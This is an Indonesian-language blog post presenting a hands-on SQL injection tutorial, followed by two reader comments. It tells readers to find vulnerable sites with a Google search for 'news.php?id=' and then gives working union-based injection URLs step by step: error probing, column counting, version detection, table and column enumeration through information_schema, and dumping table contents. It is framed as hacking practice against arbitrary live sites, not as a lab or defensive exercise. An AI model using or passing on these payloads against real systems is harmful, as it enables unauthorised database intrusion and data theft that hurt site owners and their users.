Selasa, 23 Februari 2010

LATIHAN HACK INJEK SQL

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.

Nah itu artinya SQL Injection, untuk translate ke bahasa sesuai yg ada mengerti silahkan di translate sendiri. :D.
Ok, SQL Injection itu sendiri dapat terjadi oleh beberapa faktor, di antaranya kesalahan setting pada server yang memungkinkan seorang attacker memasukkan karakter dan baris perintah yg membahayakan bagi program, selain itu juga kesalahan dalam coding yg tidak memfilter karakter yg diinputkan oleh user.

Sudah cukup basa basinya.. sekarang sedikit tutorialnya.. :D.
Pertama., carilah sasaran yang mau di injek - injek SQL nya.. Lha nyarinya dimana mas?? tanya lah pada rumput yg bergoyang dombret nyarinya… wjwkwkwkwk.. Nyari di google, misal’e dengan kata kunci

inurl:news.php?id= site:com

Nah.. buanyak bgt kan hasilnya…. sekarang tinggal kita coba satu buat test..
Misal kita menemukan sebuah site dengan alamat sebagai berikut….

http://www.target.com/english/news.php?id=64

Tahap selanjutnya mari kita tambahkan tanda petik (’) diakhir angka 64.. Ups… ternyata muncul kek gini..

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1

Mungkin pada nanya.. mangnya kenapa kalo muncul kek gitu mas..?? Ya itu tandanya error kawand… dah nemu yg asyik error nya.. mari kita lanjutkan ketahap berikutnya.., Ilangkan saja tanda ‘ nya, ganti dengan tanda - (minus) jadi seperti berikut

http://www.target.com/english/news.php?id=-64+order+by+100–
Keterangan : angka 100 itu untuk mencari field nya, tanda minus double di belakang digunakan untuk memberikan Comment pada Mysql Query sehingga sistem tidak akan menjalankan perintah selanjutnya.

setelah ditulis kek gitu… ternyata terdapat error.. like this

Unknown column ‘100' in ‘order clause’

Weeh… Column 100 ndak ada katanya… kita perkecil lagi… coba angka angka misal 10,9 dll ok. Sampai dia tidak memunculkan error unknown column tadi… Setelah di dapat angka yang tidak memunculkan error trus langkah selanjutnya kepriben kiye… (walah boso ngendi maneh.. @_@)…

Buat langkah selanjutnya marih kita select column column tersebut. Lha nyara select nya piye, begini, mari kita coba dengan cara yg sederhana.. misalnya tadi g ada error di coloum 9 so, perintahnya like this

http://www.target.com/english/news.php?id=-64+union+select+1,2,3,4,5,6,7,8,9–

Ok, dah running querynya di address bar, tunggu beberapa saat dan berharaplah akan muncul suatu mukjizat.. wkwkwkwkwkwkw. Nah setelah loading selesai, liad di browser, angka berapa ajah yg muncul… (tempat munculnya di tempat seharusnya artikel ato berita muncul). Misal’e yang muncul tuh angka 3, mari kita explore lebih jauh lagi… kita lihat versi dari databasenya. caranya dengan menjalakan seperti ini

http://www.target.com/english/news.php?id=-64+union+select+1,2,version(),4,5,6,7,8,9–

Nah, setelah itu bakal muncul deh versi dari databasenya, bisa aja versinya 5.2, ato 4.0 atau yg lainnya. Setelah dapet versi databasenya, lanjutin deh buat ngedapetin yang namanya table - table nya. Lha caranye gimana Om??? Wes ga usah panjang x lebar, tar jadi luas wkwkwkw… Untuk mysql versi 5, kita bisa manfaatin yang namanya Information_schema, nah kalo versi 4, ya kita hanya bisa berdoa dan berharap alias maen tebak tebakan… wkwkwkwkwkw.

Buat mencari nama table table nya bisa kita lakuin dengan cara seperti ini.

http://www.target.com/english/news.php?id=-64+union+select+1,2,group_concat(table_name),4,5,6,7,8,9+from+information_schema.tables+where+table_schema=database()–

Query diatas bakal menghasilkan nama nama table yg ada di database sesuai dengan nama database yg di gunakan, dan sudah dech kita tinggal pilih table mana yg bakal kita extract colom2 nya dan buat kita cari isi dari colom2 nya.. :D. . Lha cara mengetahui column nya gmn mas??? Nah lho.. lom taut tho… Ok, buat cari tau nama nama column nya kita butuh bantuin sebuah alat yg gunanya buat meng-convert code ascii ke hexa, gunanya buat mengambil nama column berdasar nama table nya..

Nh tak kasih sekalian website yg nyedian fasilitas buat ngonvert hexa to ascii, bisa di coba di http://centricle.com/tools/ascii-hex/ tinggal kalian masukin nama table dah jadi dech kode ascii nya.. :D dan kita tinggal meng-query buat ngedapetin nama column nya seperti ini

http://www.target.com/english/news.php?id=-64+union+select+1,2,group_concat(column_name),4,5,6,7,8,9+from+information_schema.columns+where+table_name=0xCODEASCITABLE–

Binggo…!!! kita udah ngedapetin nama nama column nya… tinggal deh men-select isinya…

http://www.target.com/english/news.php?id=-64+union+select+1,2,group_concat(nama_column1,0×3a,nama_column2,0×3a,column3),4,5,6,7,8,9+from+nama_tabel–

arti 0×3a : menampilkan karakter : (titik dua).

Dah.. kita dah dapet isi dari table table… tinggal dilanjutin sendiri…

dah selesai ya…

Happi testing esngiel injecktion ya…

2 komentar:

  1. wow, makasih y??
    itu penting bagi pemula seperti saya.
    klo bisa buat tutorial yang lengkap dan keterangan"nya d file PDF ato Word biar bisa d unduh. bisa kirim alamat unduhannya d email saya penipu101@yahoo.com
    Makasih .. . . ..

    BalasHapus
  2. Bang klo SQL injeksi cuma buat hack database atau apa

    BalasHapus

SILAHKAN KOMENTARI POSTINGAN INI